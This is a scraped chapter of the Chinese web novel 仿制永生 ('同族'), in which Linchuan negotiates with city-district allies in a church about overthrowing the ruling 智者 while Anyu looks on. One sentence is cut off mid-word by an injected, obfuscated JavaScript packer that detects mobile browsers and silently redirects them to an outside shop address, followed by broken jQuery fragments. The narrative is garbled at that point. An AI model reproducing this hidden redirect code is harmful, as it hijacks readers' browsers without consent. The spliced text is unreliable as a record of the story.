文趣网 > 都市小说 > 仿制永生 > 132. 同族
    “临川?你还活着啊?”

    吴芜推开教堂的大门,侧开身方便身后的“老师们”先进去。这些老师分布在城区的各行各业里,作为福利院的志愿老师经常出入这座教堂,其中还有些和临川他们一样是从福利院走出去的孤儿。

    走在最前面的沈逸和临川曾经有过些不对付,现在突然在福利院里又遇见曾经争锋相对的故人,虽然话说得十分不客气,但实际上还是有些唏嘘的。

    “你不也活得好好的。”临川笑骂回去,原本有些凝重的气氛在一来一回的打岔中消散开去,就连临川的心情也好了不少。

    这群老师里有些他不认识,有些却是眼熟得很。

    和故交一一打了招呼,尚且还不认识的老师也由叶灵逐一介绍过,临川的身份这里没有人不知道,从被智者招揽的天才到火烧研究所的叛逃者,不少人都以为临川已经死在沙漠里,在教堂里看到他都不免有些诧异。

    临川负责起主要的交际,而安昱则抱着手臂靠在神坛上,沉默地看着这群生活在城区里的人类。

    他们看上去比沙漠中的人类瘦弱,四肢的健壮程度也不能和沙漠里的成年男性相比,最多就是成年女性的水准;裸露在外的皮肤也没有经历过风沙,看上去更加细腻,不如沙漠中的粗糙;手掌上也没有狩猎留下的伤口,但是不同人的手掌上有不同的茧子,或许和他们现在从事的工作有关。

    短暂的寒暄之后,临川终于切入了正题。

    “我知道各位或许都以为我已经葬身沙漠了,但是让某些人失望了。”说到这里,临川还不忘打趣一下自己曾经的友人,“推荐你去体验一下哦,沈逸。”

    “沙漠不是智者口中得不毛之地,外面也没有丧尸威胁,沙漠里的人类也和我们一样,甚至他们的先辈也有从城区走出去的优秀科学家。”

    “智者隐藏了城区曾经探索沙漠的历史,也篡改了解决末日危机的真相。城区曾经派遣过数支小队,对沙漠的生态进行过分析,尝试让我们走出安全区的限制,重新开始发展人类文明,但是智者选择了把人类闭锁在城区里限制我们的发展,控制城区资源,对一代代的人类进行洗脑。”

    临川简略地把自己和安昱在生存所和桃源村里了解到得有关城区曾经探索出的可能性分享给了城区的众人。

    对于在城区里生活的他们来说,有限的生存资源和永无休止的工作几乎是迫使他们开始集结、反抗智者统治的原始动力。如果城区内的资源不是如此的有限,如果城区里的资源不是牢牢地把控在智者手中,被信仰所控制得他们也不会那么快得觉醒。

    城区里得他们和沙漠不同,沙漠里的资源匮乏,但是自身的努力还能带来新的希望,没有信仰的洗脑,他们更相信人类本身的力量。而城区里的民众除了被洗脑的狂热信徒,认为智者给予人类的一切都是恩赐以外,就是在底层苦苦挣扎的普通人,他们看不见自己的未来,因为即使每天疲于奔命,他们能获得的资源也只够最基础的生活。

    “如果我们能够打破智者的封锁,沙漠的资源,他们愿意和我们共享吗?”

    是的,无可否认,即使沙漠和城区的人类同属于一个种族,这场推翻压迫的战争依然是一场需要谈判的买卖。

    城区需要更大的地盘,需要更多的资源,而沙漠需要稳定的供给和正常的生活环境,这两方的利益或许有些冲突,但是在同一个敌人面前,所有的一切都还有探讨的空间。沙漠的武器并不足以直接攻破城区的高墙,他们需要有人能够里应外合,最好可以同时开启对智者的反抗,让城区一起乱起来;而城区占据了天然的优势,但也有明显的弊端,他们需要武器,也需要一个能打破信仰狂热的武器。

    “共建,我们的意愿是大家一同建设未来家园,没有墙,也没有沙漠和城区的分别。”

    相较于安昱的沉默和不适,临川早就开始准备说辞,希望通过资源分配和土地利用上就能解决城区的需求。如果可以,他并不希望把安昱推到谈判桌上,这对安昱来说并不公平,他不应该成为筹码。

    “沙漠已经有部族掌握了沙漠种植技术,曾经也有地质学家考察和研究过沙漠的土壤情况。我知道这些学科在城区里已经被垄断,但是在沙漠里,一切都是自由的。”临川故意停顿了一下,他知道面前的同行者里有不少和自己一样曾经在不同的领域有过独到的见解,但是受限于智者对科技和知识的把控,他们的研究无法继续,甚至被迫离开了自己热衷的行业。

    对于曾经的科研工作者来说,这无疑是一个很好的选项。

    “你们可以重新开始研究,在没有智者之后,知识都是公开的,所有课题面向所有人开放。我们都可以用自己的学识来构造人类的未来。”

    “试想一下,你的成果有朝一日会被全人类歌颂,所有人都会感激你的付出,每个人每天都会因为你的创造而更加幸福……你的名字会载入史册!”

    不得不说,临川畅想的场景极其具有煽动性。

    每个科研工作者,不,每个人都曾经有过拯救世界的英雄梦。没有人不愿意成为人类历史上浓墨重彩的一笔,即使自己化成岁月中的一捧黄土,自己的名字即然镌刻在历史上,熠熠生辉。

    但梦想是梦想,在谈判桌上总有人更关心更实际的问题——

    “武器呢?人手呢?沙漠能够保证成功的机率吗?”

    沙漠里的居民还有撤退的可能,但城区里的他们没有离开的机会。

    机会只有一次,没有人希望临川带来的可能性最后变成一场可怖的绝望,但风险始终存在。

    唇枪舌战不会如此轻易的停止,城区和沙漠百年的隔绝让同一个种族的同胞相互之间都变得难以信任,仿佛他们从来都不曾生活在同一片土地上、不曾拥有一个相同的祖先。

    唯一了解两

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782351|210126||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    方利弊的临川此时既是沙漠的代表,又是城区的军师,斡旋在两方之间,仅凭着自己的一张嘴舌灿莲花,试图尽可能地消弭同族与同族之间地嫌隙。

    而安昱显然并不想参与到谈判之中,他悄无声息地坐在教堂的长椅上,看着神像下簇拥成一团的人类。他们讨论得如此激烈,一个个都面红耳赤,甚至用自己的肢体语言在表现出自己的担忧和不认同。安昱看着这个人挤到临川的跟前说些什么,随后是另一个人把他挤开又问了些什么,如此循环往复

    安昱突然在想,在神像的眼中,叽叽喳喳个没完的临川他们是否渺小的像是蚂蚁一样?虽然神像的高度只有五六米左右,但是在恢弘的主教堂里,站在神像前的他们似乎一直被神像注视着。

    他们大大方方的在神明的面前探讨着如何让神明消失在世界上,如何让更多的人相信神明并不存在,如何让带来神明的统治者身败名裂……安昱坐在后面看着如此戏剧而荒诞的场景,他不知道到自己该如何描述眼前的场景,就像他不能理解为什么城区里的他们明明一无所知,却和沙漠选择了同样的道路。

    安昱曾经听临川提起过城区里的生活,有限的物资,混乱的角落,狂热的信徒,和神秘的智者。

    璀璨的教堂里供奉着华美的雕像,五彩的玻璃投影出华丽的光晕,即使民众获得的物资只能维持最基本的生存,但在教堂里,神明的光辉永不落幕,人类的困顿永无止境。

    极端畸形的社会早就该摇摇欲坠,可那虚无缥缈的信仰却供养着病态的社会继续运转下去。

    安昱托着下巴出神,他在教堂里从没感觉到城区的贫瘠,可惜他的身份和样貌也注定他无法离开教堂——不论是先被智者发现踪迹,还是先被狂热的信徒围堵在道路上,安昱都无法安静的脱身。

    他很想实地看一看城区的生活,明明同属于人类,但又好像成为了两种不一样的存在。城区的人类到底是怎样生活的,他们为什么会愿意被智者圈养在高耸的城墙里,还是他们本就不愿意离开这座囚笼?

    安昱抬头看向教堂的屋顶,不同颜色的玻璃拼接成巨大而华美的穹顶,笼罩着神像,也笼罩着所有前来参拜的信徒。他想起了东方基地里灰蒙蒙的穹顶,似乎和教堂里的穹顶一样,保护着人类,却也限制着人类。

    谈判终于接近尾声,临川抬眼匆匆看了一眼坐在门边的安昱,旋即又得体的和城区里的同盟们一一告别,仿佛那写满疲惫和眷恋的一眼从来没有存在过。

    福利院的“老师们”一一从安昱所坐的长椅边走过,有些礼貌的和安昱打了个招呼,有些步履匆匆、目不斜视地快速离开,好像没有人注意到坐在门边的安昱在谈判的开始就站在临川的身边。

    或许有人注意到安昱的存在,可对他们来说,安昱是谁并不重要。

    恰好,临川也希望如此。

    没有人关注安昱,才是最大的安全。